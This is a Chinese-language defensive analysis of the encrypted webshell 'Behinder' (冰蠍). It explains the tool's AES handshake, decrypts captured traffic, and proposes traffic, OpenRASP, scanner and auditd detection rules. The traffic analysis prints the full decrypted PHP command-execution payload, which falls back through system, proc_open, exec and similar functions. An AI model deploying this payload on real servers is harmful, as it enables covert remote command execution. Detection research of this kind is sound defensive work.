演練中,第一代webshell管理工具“菜刀”的攻擊流量特征明顯,容易被安全設備檢測到,攻擊方越來越少使用,加密webshell正變得越來越流行,由於流量加密,傳統的WAF、WebIDS設備難以檢測,給威脅監控帶來較大挑戰。這其中最出名就是“冰蠍”,“冰蠍”是一款動態二進制加密網站管理客戶端,演練中給防守方造成很大困擾,本文將對“冰蠍”的加密原理、流量特征、檢測方案進行探討。
0x01 “冰蠍”介紹&加密原理
“冰蠍”項目地址:https://github.com/rebeyond/Behinder
“冰蠍”目前最新版本為v2.1,兼容性已經日益完善,加密不再依賴PHP openssl擴展功能,同時支持了簡單的ASP。主體功能方面包括虛擬終端、socks代理、文件管理、反彈shell、數據庫管理等等,功能強大。
加密原理方面,以PHP環境為例,《利用動態二進制加密實現新型一句話木馬之PHP篇》這篇文章對冰蠍的原理已經做了詳細的分析,簡要介紹一下加密流程:
- 首先客戶端以Get形式發起帶密碼的握手請求,服務端產生隨機密鑰並寫入Session。
- 客戶端將源代碼,如assert|eval(“phpinfo();”)利用AES加密,發送至服務端,服務端收到之后先進行AES解密,得到中間結果字符串assert|eval(“phpinfo();”)。
- 服務端利用explode函數將拆分為一個字符串數據,索引為0的元素為字符串assert,索引為1的元素為字符串eval(“phpinfo();”)。
- 以可變函數方式調用索引為0的數組元素,參數為索引為1的數組元素,即為assert(“eval(”phpinfo;”)”) 。
0x02 加密Webshell流量分析
通過wireshark進行抓包分析,流量如下:
按照流程,客戶端首先get請求生產隨機密鑰,server返回生成的16位密鑰:0x7037af5d95561f3d,對應的session ID為 466geshjq6hr15kbmd72ju24g5。
得到密鑰后,客戶端對需要執行的命令進行AES加密,加密后的通訊流量如下,沒有任何攻擊特征,安全設備難以根據特征進行檢測:
我們用密鑰對該信息進行解密:
發現解密后執行的命令被base64編碼了,進一步進行base64解碼后,得到執行的命令如下:
@error_reporting(0); function getSafeStr($str){ $s1 = iconv('utf-8','gbk//IGNORE',$str); $s0 = iconv('gbk','utf-8//IGNORE',$s1); if($s0 == $str){ return $s0; }else{ return iconv('gbk','utf-8//IGNORE',$str); } } function main($cmd) { @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time', 0); $result = array(); $PadtJn = @ini_get('disable_functions'); if (! empty($PadtJn)) { $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn); $PadtJn = explode(',', $PadtJn); $PadtJn = array_map('trim', $PadtJn); } else { $PadtJn = array(); } $c = $cmd; if (FALSE !== strpos(strtolower(PHP_OS), 'win')) { $c = $c . " 2>&1n"; } $JueQDBH = 'is_callable'; $Bvce = 'in_array'; if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) { ob_start(); system($c); $kWJW = ob_get_contents(); ob_end_clean(); } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) { $handle = proc_open($c, array( array( 'pipe', 'r' ), array( 'pipe', 'w' ), array( 'pipe', 'w' ) ), $pipes); $kWJW = NULL; while (! feof($pipes[1])) { $kWJW .= fread($pipes[1], 1024); } @proc_close($handle); } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) { ob_start(); passthru($c); $kWJW = ob_get_contents(); ob_end_clean(); } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) { $kWJW = shell_exec($c); } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) { $kWJW = array(); exec($c, $kWJW); $kWJW = join(chr(10), $kWJW) . chr(10); } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) { $fp = popen($c, 'r'); $kWJW = NULL; if (is_resource($fp)) { while (! feof($fp)) { $kWJW .= fread($fp, 1024); } } @pclose($fp); } else { $kWJW = 0; $result["status"] = base64_encode("fail"); $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available"); $key = $_SESSION['k']; echo encrypt(json_encode($result), $key); return; } $result["status"] = base64_encode("success"); $result["msg"] = base64_encode(getSafeStr($kWJW)); echo encrypt(json_encode($result), $_SESSION['k']); } function encrypt($data,$key) { if(!extension_loaded('openssl')) { for($i=0;$i<strlen($data);$i++) { $data[$i] = $data[$i]^$key[$i+1&15]; } return $data; } else { return openssl_encrypt($data, "AES128", $key); } }$cmd="pwd"; main($cmd);
可以看到,經過一些列的處理,最終執行的命令是“pwd”,命令執行的結果保存在json串$result中,$result[“status”] 表示命令是否執行成功,$result[“msg”]表示命令執行的結果。冰蠍對執行的返回結果$result也進行了加密,加密方式也是采用的AES(如果php沒有開啟openssl擴展,在采用明文和密鑰逐位異或進行加密),密鑰也是利用第一步隨機get產生的密鑰。
0x03 檢測思路
檢測思路可以從流量、應用、主機三個層面入手。
思路一:流量側
(1)雖然冰蠍的通訊流量都是加密的,但是在第一步,冰蠍必須需要獲得密鑰,具體流量特征:
1、是一個get請求,url中帶上參數?pass(參數名稱可變)
對應的檢測正則表達式:
/[w.]*.[a-zA-Z]{3,4}?w{0,20}=d{0,10}
由於該請求特征不明顯,此正則會產生較多誤報。
2、返回包狀態碼為200,返回內容必定是16位的密鑰
對應的檢測正則表達式:
^[a-fA-F0-9]{16}$
返回包特征相對明顯,針對這一特征可以在WebIDS、全流量檢測等安全設備中對返回包制定相應的特征檢測規則。
(2)按照kill-chain的模型,除了在webshell通信的時候進行檢測,也可以在上傳webshell時(即載荷投遞階段)進行檢測,對冰蠍的webshell木馬文件特征定制特定的檢測規則。以php webshell木馬為例,webshell中包含了openssl_decrypt、base64、eval等關鍵字,可以在WAF、WebIDS、流量檢測等安全設備中定制相應的關鍵字進行檢測。
(3)安全廠商方面,越來越多的安全廠商也正在升級檢測規則,支持對冰蠍的檢測,檢測效果需要進一步測試。
基於流量的檢測不可避免的可能會產生誤報的問題,需要結合企業業務實際流量進行調整;同時,冰蠍也可以進一步升級來規避這些特征,單單利用流量來進行檢測難以到達完全的檢測效果。
思路二:應用側——OpenRASP檢測
1、什么是OpenRASP?
隨着Web應用攻擊手段變得復雜,基於請求特征的防護手段,已經不能滿足企業安全防護需求。Gartner在2014年提出了應用自我保護技術(RASP)的概念,即將防護引擎嵌入到應用內部,不再依賴外部防護設備。OpenRASP是該技術的開源實現,可以在不依賴請求特征的情況下,准確的識別代碼注入、反序列化等應用異常,很好的彌補了傳統設備防護滯后的問題。更多細節,請參考《OpenRASP 最佳實踐》
2、RASP 技術和現有方案主要區別
首先,RASP 幾乎沒有誤報情況。邊界設備基於請求特征檢測攻擊,通常無法得知攻擊是否成功。
對於掃描器的踩點行為、nday 掃描,一般會產生大量報警。RASP 運行在應用內部,失敗的攻擊不
會觸發檢測邏輯,所以每條攻擊都是成功的報警。
其次,RASP 可以發現更多攻擊。以SQL注入為例,邊界設備只能看到請求信息。RASP 不但能夠
看到請求信息,還能看到完整的SQL語句,並進行關聯。如果SQL注入讓服務器產生了語法錯誤或
者其他異常,RASP引擎也能夠識別和處理。
最后,RASP 可以對抗未知漏洞。發生攻擊時,邊界防護設備無法掌握應用下一步的動向。RASP
技術可以識別出異常的程序邏輯,比如反序列化漏洞導致的命令執行,因此可以對抗未知漏洞。
3、OpenRASP 部署
目前,OpenRASP 支持 Java 和 PHP 兩種開發語言,具體安裝教程請參考:https://rasp.baidu.com/doc/install/main.html
以PHP為例,應用安裝成功后,會在返回包頭中添加X-Protected-By:OpenRASP字段,如下圖所示:
此時,我們再次利用冰蠍進行命令執行操作,發現OpenRASP的檢測引擎已經完美發現加密流量,並檢測出執行的命令“whoami”。
雖然OpenRASP有很多優勢,可以准確檢測出一些未知漏洞,但是由於其本身的實現也存在一些問題使其在大規模推廣還有一定難度。比如RASP對應用侵入過大、angent的安裝可能對系統性能的影響、企業大規模部署運維的壓力等等。
思路三:主機側
(1)定期對服務器進行webshell文件掃描查殺
這里用D盾、河馬和OpenRASP團隊開發的下一代WebShell檢測引擎webdir+進行測試,檢測結果都比較一般。
其中,D盾、河馬只檢測出了早期冰蠍v1.2版本中的PHP webshell文件,未檢測出jsp、asp 等webshell,檢出比只有20%。
而對於冰蠍v2.1的webshell,D盾、河馬都完全沒有檢測出來,檢出比為0。
只有webdir+檢測出了冰蠍v2.1的3個webshell文件,檢出比為60%,可見冰蠍的免殺做得很不錯。
同時,定期的webshell文件掃描也存在時效性差的問題,攻擊方拿到shell后,也會對webshell進行痕跡清理,所以這種方式檢測效果也有限。
(2)Linux audit日志檢測
雖然冰蠍通訊流量是加密的,但落到主機側,還是會調用系統命令,所以可以在主機審計日志層面定制檢測規則,監控冰蠍對系統命令的調用。Linux審計系統提供了一種跟蹤系統上與安全相關的信息的方法。基於預先配置的規則,審核生成日志條目以記錄盡可能多的關於系統上發生的事件信息,參考《另類WebShell監測機制–基於auditd》思路。
以root身份執行如下命令,可實現對執行系統命令這一個SYSCALL行為的監控審計。
auditctl -D # 用於測試,清除已有規則 auditctl -a always,exit -F arch=b64 -S execve -k rule01_exec_command
上述命令在系統審計規則中增加了一條監控調用命令執行監控規則,並且定義規則名為rule01_exec_command。
在冰蠍中執行命令whoami,在Linux審計日志中發現記錄:
type=SYSCALL:日志規則“rule01_exec_command”被觸發,uid=33的用戶,通過父進程ppid=597,調用/usr/bin/bash,執行了命令sh,進程pid=8380。
type=SYSCALL和type=EXECVE都能看到執行的程序名稱和參數。
type=CWD則說明了,命令執行所在的目錄cwd=”/var/www/html”。
一般cwd在web目下的,又執行了系統命令,則這個行為是比較可疑的。
當然基於審計日志的檢測思路也存在一定問題,包括:合理配置auditd的運行參數,准確評估審計功能對系統性能的影響;如何主動識別Web進程和Web目錄信息;如何實時收集操作系統進程和進程PID等信息;如何關聯分析Web訪問日志; Windows平台是否有同樣的檢測機制等等。
0x04 總結
隨着攻防對抗的不斷升級,攻擊方的手段越來越隱蔽,很多攻擊流量都會進行加密,給防守方帶來了較大挑戰,相信后續對加密攻擊流量檢測的研究也會越來越多。本文對加密webshell“冰蠍”的加密原理進行了分析,在流量側檢測、應用側檢測、主機層檢測方面提出了檢測思路。各個層面的檢測各有利弊,都難以僅僅依靠一種手段解決所有問題。按照縱深防御的思想,企業需要部署多層次的防護,合理運用各種技術的特點,從而達到多層次、多技術的防御互補的效果,進而防止一處防御失效后被全局突破。同時,在各個防御手段部署后,企業還需要持續不斷的進行安全運營,發揮防御設備最大功效,構建合適自身的安全防御體系,才能不斷提升企業的安全防護水平,才能應對日益嚴峻的網絡安全形勢。